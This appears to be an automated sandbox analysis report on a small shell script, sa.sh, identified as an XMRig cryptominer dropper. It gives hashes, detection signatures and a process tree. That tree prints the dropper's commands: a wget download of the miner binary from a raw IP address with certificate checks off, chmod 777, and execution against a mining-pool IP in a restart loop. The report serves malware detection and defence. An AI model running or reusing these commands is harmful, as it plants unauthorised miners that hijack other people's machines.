Analysis
-
max time kernel
25s -
max time network
31s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem -
submitted
29-12-2024 23:44
Static task
static1
Behavioral task
behavioral1
Sample
sa.sh
Resource
ubuntu1804-amd64-20240729-en
Behavioral task
behavioral2
Sample
sa.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
sa.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
sa.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
sa.sh
-
Size
438B
-
MD5
52f6ef322dd61383cc5f03bba971ecc1
-
SHA1
a540ec9917e63a178aa44b3f3570a54ff8c88135
-
SHA256
82d5f1b0b96907494a793d1cd838b2ea1b8fc7f7e758ae56bcc75d89ed6f3e97
-
SHA512
c17b540e81ca673cfb39cedb1417bfebb0367d61f9f9315710713bc0167cfb953b2b0fdec2bad0435c4ac423e41935fac7fa76ceb288f07174273b9f32f1d938
Malware Config
Signatures
-
XMRig Miner payload 2 IoCs
resource yara_rule behavioral2/files/fstream-1.dat family_xmrig behavioral2/files/fstream-1.dat xmrig -
Xmrig family
-
Xmrig_linux family
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 757 chmod -
Executes dropped EXE 2 IoCs
ioc pid Process /tmp/xmrig 759 xmrig /tmp/xmrig 763 xmrig -
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads CPU attributes 1 TTPs 2 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep -
description ioc Process File opened for reading /proc/581/status pgrep File opened for reading /proc/23/cmdline pgrep File opened for reading /proc/42/cmdline pgrep File opened for reading /proc/322/status pgrep File opened for reading /proc/26/status pgrep File opened for reading /proc/265/status pgrep File opened for reading /proc/265/cmdline pgrep File opened for reading /proc/646/status pgrep File opened for reading /proc/filesystems pgrep File opened for reading /proc/1/cmdline pgrep File opened for reading /proc/16/cmdline pgrep File opened for reading /proc/648/cmdline pgrep File opened for reading /proc/7/status pgrep File opened for reading /proc/8/status pgrep File opened for reading /proc/647/cmdline pgrep File opened for reading /proc/7/status pgrep File opened for reading /proc/17/cmdline pgrep File opened for reading /proc/29/cmdline pgrep File opened for reading /proc/15/status pgrep File opened for reading /proc/28/cmdline pgrep File opened for reading /proc/98/cmdline pgrep File opened for reading /proc/4/status pgrep File opened for reading /proc/139/cmdline pgrep File opened for reading /proc/1/status pgrep File opened for reading /proc/8/status pgrep File opened for reading /proc/107/cmdline pgrep File opened for reading /proc/43/cmdline pgrep File opened for reading /proc/43/status pgrep File opened for reading /proc/3/cmdline pgrep File opened for reading /proc/8/cmdline pgrep File opened for reading /proc/10/status pgrep File opened for reading /proc/152/status pgrep File opened for reading /proc/268/cmdline pgrep File opened for reading /proc/9/status pgrep File opened for reading /proc/11/status pgrep File opened for reading /proc/25/status pgrep File opened for reading /proc/301/status pgrep File opened for reading /proc/26/status pgrep File opened for reading /proc/756/cmdline pgrep File opened for reading /proc/12/cmdline pgrep File opened for reading /proc/13/status pgrep File opened for reading /proc/42/status pgrep File opened for reading /proc/322/cmdline pgrep File opened for reading /proc/17/status pgrep File opened for reading /proc/284/cmdline pgrep File opened for reading /proc/19/status pgrep File opened for reading /proc/762/cmdline pgrep File opened for reading /proc/sys/kernel/osrelease pgrep File opened for reading /proc/29/status pgrep File opened for reading /proc/756/status pgrep File opened for reading /proc/41/status pgrep File opened for reading /proc/646/cmdline pgrep File opened for reading /proc/12/cmdline pgrep File opened for reading /proc/21/status pgrep File opened for reading /proc/22/cmdline pgrep File opened for reading /proc/27/status pgrep File opened for reading /proc/213/cmdline pgrep File opened for reading /proc/10/status pgrep File opened for reading /proc/186/cmdline pgrep File opened for reading /proc/641/cmdline pgrep File opened for reading /proc/10/cmdline pgrep File opened for reading /proc/301/cmdline pgrep File opened for reading /proc/3/cmdline pgrep File opened for reading /proc/7/cmdline pgrep -
Writes file to tmp directory 1 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/xmrig wget
Processes
-
/tmp/sa.sh/tmp/sa.sh1⤵PID:649
-
/usr/bin/nohupnohup bash /tmp/sa.sh nobg1⤵PID:651
-
/usr/local/sbin/bashbash /tmp/sa.sh nobg1⤵PID:651
-
/usr/local/bin/bashbash /tmp/sa.sh nobg1⤵PID:651
-
/usr/sbin/bashbash /tmp/sa.sh nobg1⤵PID:651
-
/usr/bin/bashbash /tmp/sa.sh nobg1⤵PID:651
-
/sbin/bashbash /tmp/sa.sh nobg1⤵PID:651
-
/bin/bashbash /tmp/sa.sh nobg1⤵PID:651
-
/usr/bin/wgetwget http://81.28.10.96/xmrig --no-check-certificate -O xmrig2⤵
- Writes file to tmp directory
PID:658
-
-
/bin/chmodchmod 777 xmrig2⤵
- File and Directory Permissions Modification
PID:757
-
-
/usr/bin/pgreppgrep -x xmrig2⤵
- Reads CPU attributes
- Reads runtime system information
PID:758
-
-
/tmp/xmrig./xmrig --url 193.232.178.53:80 -B2⤵
- Executes dropped EXE
PID:759
-
-
/bin/sleepsleep 52⤵PID:760
-
-
/usr/bin/pgreppgrep -x xmrig2⤵
- Reads CPU attributes
- Reads runtime system information
PID:762
-
-
/bin/sleepsleep 52⤵PID:764
-
-
/tmp/xmrig./xmrig --url 193.232.178.53:80 -B2⤵
- Executes dropped EXE
PID:763
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
7.9MB
MD58f4fff0ded94f1141768220906abfbb8
SHA1ea7c97294f415dc8713ac8c280b3123da62f6e56
SHA256b0e1ae6d73d656b203514f498b59cbcf29f067edf6fbd3803a3de7d21960848d
SHA5120096072a1482f8e7999867baa3dd6e96d51591e9f7645c9ff276b53984957025c83e1fe52e5c4f55639eeed2bdbd80bbd57d7dacd84468ce09c834e39dfc4bee